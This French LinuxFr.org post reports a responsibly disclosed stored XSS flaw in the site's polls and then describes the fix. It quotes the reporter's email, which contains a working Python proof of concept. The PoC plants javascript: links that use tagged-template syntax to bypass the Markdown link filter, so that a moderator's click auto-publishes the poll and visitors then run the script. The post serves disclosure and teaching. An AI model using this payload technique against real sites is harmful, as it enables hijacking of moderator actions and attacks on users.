      Afin de favoriser l’échange et la convivialité, nous vous invitons à participer à ces repas partagés. Chaque participant est encouragé à apporter un plat fait maison (entrée, plat principal, dessert, fruits, boissons…) à partager avec les autres. C’est l’occasion de découvrir de nouvelles saveurs tout en échangeant des idées et des expériences autour, vous l’aurez deviné, des logiciels libres.

      Ces rencontres sont aussi l’occasion de discuter des projets communautaires, d’apprendre ensemble, et de promouvoir un mode de vie plus libre, collaboratif et respectueux de l’environnement. N’hésitez pas à apporter également des jeux de plein air ou des instruments de musique pour ajouter encore plus de convivialité et de bonne humeur à ces moments partagés en pleine nature que nous affectionnons tous et toutes.

      Commentaires : voir le flux Atom ouvrir dans le navigateur

      Reçu — 2 juillet 2026 LinuxFr.org : les dépêches

      XSS sur le site linuxfr.org (pas très grave à mon avis)

      2 juillet 2026 à 21:05

      Ce titre est celui d’un courriel reçu le samedi 20 juin 2026 en fin de soirée. La France est alors au milieu de sa deuxième canicule de l’année, et moi en train de produire la dépêche De la fermeture des comptes inactifs depuis 3 ans que je pensais initialement en avance et qui était finalement en retard.

      Et donc recevoir un tel message n’annonçait rien de bien rafraîchissant. (Même si ça changeait des week-ends successifs d’annonces de failles de sécurité noyau à déployer plus ou moins en urgence)

      Pourtant il s’agissait du signalement d’une faille réelle, fait de façon détaillée, claire et pédagogique. Ça change du bruit de fond habituel sur Internet avec son lot de tentatives diverses et variées d’injections chimériques mi-SQL mi-Javascript mi-PHP, et ses fameux audits de sécurité non-sollicités et délicieusement bourrins. Grand merci donc à 0xMitsurugi H pour avoir explicité le problème.

      Sommaire

      Le signalement

      L’explication

      (avec l’autorisation de l’auteur «  mon code et le rapport sont open source »)

      Bonjour,
      
      J’ai lu le code source de linuxfr.org et je me suis intéressé aux sondages.
      J’ai l’impression que certains échappements HTML ne fonctionnent pas très bien.
      
      Il est possible de bypasser la regexp dans les réponses du sondage et
      injecter du javascript dans les réponses.
      
      En soi, ce ne serait pas grave, car un sondage doit être validé par un admin
      pour que les utilisateurs le voient.
      
      L’astuce ici consiste à utiliser une réponse avec du js qui fera valider
      automatiquement le sondage par un admin, et mettre un second javascript
      dans une autre réponse destiné aux utilisateurs, une fois le sondage
      validé, permettant la compromission de tous les utilisateurs qui vont
      cliquer sur le sondage.
      
      Voici le poc en python (inliné dans le mail car google fait des dingueries
      avec les pièces jointes en python):
      
      #!/usr/bin/env python3
      r"""
      PoC — XSS stockee via linkify dans les reponses de sondage linuxfr.org
      
      Vecteur : href="javascript:..." active au clic
      Bypass regex : tagged template ` func`arg` ` au lieu de func('arg')
        - document.querySelector`.ok_button`  au lieu de
      document.querySelector('.ok_button')
        - form.submit``                      au lieu de form.submit()
        - alert`msg`                         au lieu de alert('msg')
        Aucune parenthese `)` n'apparait dans l'URL markdown, donc la regex
        \[([^\]]*)\]\(([^)]*)\) ne peut rien manger.
      
      Contrainte : 128 caracteres max (PollAnswer)
        Phase 1 : 64 car. (form.submit pour auto-publication)
        Phase 2 : 54 car. (alert de preuve)
      
      Deroulement :
        1. Attaquant cree un sondage avec les payloads XSS
        2. Moderateuur visite /moderation/sondages/ID et clique sur [a]
        3. La publication se fait sans boite de confirmation
        4. Les visiteurs cliquent sur [b] -> alerte JavaScript
      
      Usage :
        python3 poc.py <url> <user_session>
      
        <url>            : racine du site (ex: http://dlfp.lo)
        <user_session>   : valeur du cookie linuxfr.org_session (compte standard)
      
      Exemple :
        python3 poc.py http://dlfp.lo "user_session_value"
      
      Prerequis :
        pip install requests
      """
      
      import re
      import sys
      from urllib.parse import urljoin, urlparse
      
      import requests
      
      
      def e(msg: str, code: int = 1) -> None:
          print(f"[-] {msg}")
          sys.exit(code)
      
      
      def s(msg: str) -> None:
          print(f"[+] {msg}")
      
      
      def info(msg: str) -> None:
          print(f"[*] {msg}")
      
      
      def banner() -> None:
          print("=" * 68)
          print("  PoC — XSS linkify -> Auto-validation + XSS proof")
          print("  Vecteur : tagged templates dans href (pas de ) necessaire)")
          print("  Cible : linuxfr.org")
          print("=" * 68)
      
      
      def make_session(cookie_value: str, target_url: str) -> requests.Session:
          s = requests.Session()
          hostname = urlparse(target_url).hostname
          s.cookies.set("linuxfr.org_session", cookie_value, domain=hostname)
          return s
      
      
      def create_poll(url: str, session: requests.Session,) -> tuple[str, str]:
          """
          Cree un sondage avec les reponses malveillantes.
          """
      
          # Réponse 1 : 64 car. — form.submit() via tagged template
          # document.querySelector`.ok_button`   => querySelector('.ok_button')
          # form.submit``                        => form.submit()
          payload_phase1 = (
              "[a]"
              "(javascript:document.querySelector"
              "`.ok_button`.form.submit``)"
          )
      
          # Réponse 2 : 54 car. — alert via tagged template
          payload_phase2 = (
              "[b]"
              "(javascript:alert"
              "`smile this is your favorite XSS`)"
          )
      
          info("Chargement du formulaire de creation...")
          r = session.get(urljoin(url, "/sondages/nouveau"))
          csrf = re.search(
              r'name="authenticity_token" value="([^"]*)"', r.text
          )
          csrf = csrf.group(1)
      
          info("Creation du sondage malveillant...")
          r = session.post(urljoin(url, "/sondages"), data={
              "authenticity_token": csrf,
              "poll[title]": "PoC XSS — tagged template",
              "poll[wiki_explanations]": (
                  "Cliquez sur les liens ci-dessous !"
              ),
              "poll[cc_licensed]": "1",
              "poll[answers_attributes][0][answer]": payload_phase1,
              "poll[answers_attributes][1][answer]": payload_phase2,
          })
      
          if r.status_code not in (200, 302):
              e(f"Creation echouee (HTTP {r.status_code})")
      
          print("Connectez vous en tant qu'admin et cliquez sur la réponse A")
      
      
      def main():
          banner()
      
          if len(sys.argv) != 3:
              print(f"Usage: {sys.argv[0]} <url> <user_session>")
              print()
              print("Exemple :")
              print(f'  {sys.argv[0]} http://dlfp.lo "SESSION_USER"')
              sys.exit(1)
      
          target_url = sys.argv[1].rstrip("/")
          user_session_val = sys.argv[2]
      
          user_session = make_session(user_session_val, target_url)
      
          # Creation du sondage malveillant
          print()
          info("Creation du sondage avec payloads XSS")
          create_poll(target_url, user_session)
      
      
      if __name__ == "__main__":
          main()
      Et je joins les copies d’écran dans l’ordre :-)
      
      C’était sympa à trigger, je ne pensais pas arriver à quelque chose avec
      l’autovalidation de l’admin pour publier le sondage. Bon, il faut quand
      même l’interaction d’un admin (d’où le fait que ce n’est pas très grave),
      j’ai essayé des trucs à base de onmouseover, mais je n’arrive à rien de
      bien ce soir, il fait trop chaud.
      
      Merci de gérer et maintenir le site linuxfr, j’ai appris beaucoup de choses
      en le lisant, même si je ne suis qu’un simple lecteur :-)
      Merci de fournir le code source sur github, ça m’a permis de debug en live
      mes tests.
      
      Bonne soirée
      

      Et paf le PoC !

      Les cinq images étaient en pièces jointes du signalement.

      La démonstration à l’œuvre :

      La démonstration à l’œuvre

      En admin, le nouveau sondage dans la page des sondages :

      Le nouveau sondage dans la page des sondages

      En admin, cliquer sur un choix autovalide le sondage :

      Cliquer sur un choix permet autovalide le sondage

      Et sur le sondage publié, un clic d’un compte utilisateur :

      Et sur le sondage publié, un clic

      Paf la faille :

      Paf la faille

      Un peu de contexte

      La faille signalée concerne le type de contenu sondages du site LinuxFr.org : un sondage est une question sur un thème donné ; le lectorat du site LinuxFr.org peut choisir parmi un ensemble de réponses proposées. (aide)

      Une personne ayant un compte sur le site peut proposer un sondage (aide). Sa publication nécessite une approbation par l’équipe de modération (aide).

      Un sondage est composé d’une partie question en Markdown. Et de (en général) plusieurs réponses dans un format exotique : c’est du texte brut, pas de mises en forme en italique/gras ou autre, sauf que les liens au format Markdown [oh un lien](https://une.adresse.invalid) sont possibles, depuis 2012. Ce code pour gérer du supposé texte brut mais acceptant des hyperliens Markdown, avec une expression rationnelle pour gérer, forcément ça annonçait un hypothétique problème à venir.

      « Le cross-site scripting (abrégé XSS) est un type de faille de sécurité des sites web permettant d'injecter du contenu dans une page, provoquant ainsi des actions sur les navigateurs web visitant la page. » (Wikipedia) : ici on va glisser un sondage malveillant dans la base de données LinuxFr.org, une personne modératrice va aller le lire et déclencher involontairement la publication, qui devient alors visible par tout le monde, et chaque personne qui ira voter sur le sondage va déclencher un comportement non désiré. Bon en pratique, à ce moment là, ladite personne modératrice se rendrait alors compte du problème et dépublierait le sondage en catastrophe. Potentiellement trop tard pour quelques personnes du lectorat avides de sondages.

      Une vraie faille

      Bon si ça se trouve, la faille ne fonctionne pas, c’est facile de tester et de voir si on reproduit. Bon on reproduit…

      En analysant le code et en testant, on voit qu’il y a plusieurs soucis :

      • on peut insérer en base de données des choses que l’on ne voudrait pas y voir ;
      • on peut afficher ce qu’on a trouvé en base en filtrant mal.

      Donc on va ajouter un filtrage à la création sur les hyperliens pour ne laisser passer que les protocoles autorisés et que des adresses qui ressemblent à des adresses.

      Et on va ajouter un filtrage à l’affichage / conversion en HTML pour n’afficher que des hyperliens, dans les protocoles autorisés et avec une adresse qui ressemble à une adresse.

      Évidemment il y a la contrainte de ne pas casser le fonctionnel et les sondages déjà présents en base de données.

      Donc on fait plein de tests un peu cracra :

      tests un peu cracra

      Et on produit un commit de correction (si tout va bien).

      On a aussi vérifié le contenu existant de la base, au cas où.

      Il ne restait plus qu’à remercier le contributeur et à convenir d’une publication en dépêche. Que voici.

      Conclusion

      Une contribution par une personne qui a lu le code source, qui a déployé le site, qui a écrit un bout de code pour illustrer l’exploitation de la faille de bout-en-bout, qui a littéralement illustré l’exploitation avec cinq images et qui a accompagné le tout d’une explication détaillée et en fournissant le code. Que demander de plus ? Encore merci.

      Ah oui il faut une ouverture finale et tenir en haleine le lectorat : cette dépêche n'évoque pas la dernière faille signalée (ni même l'avant-dernière), et on n'est que douze jours après.

      Commentaires : voir le flux Atom ouvrir dans le navigateur

      ❌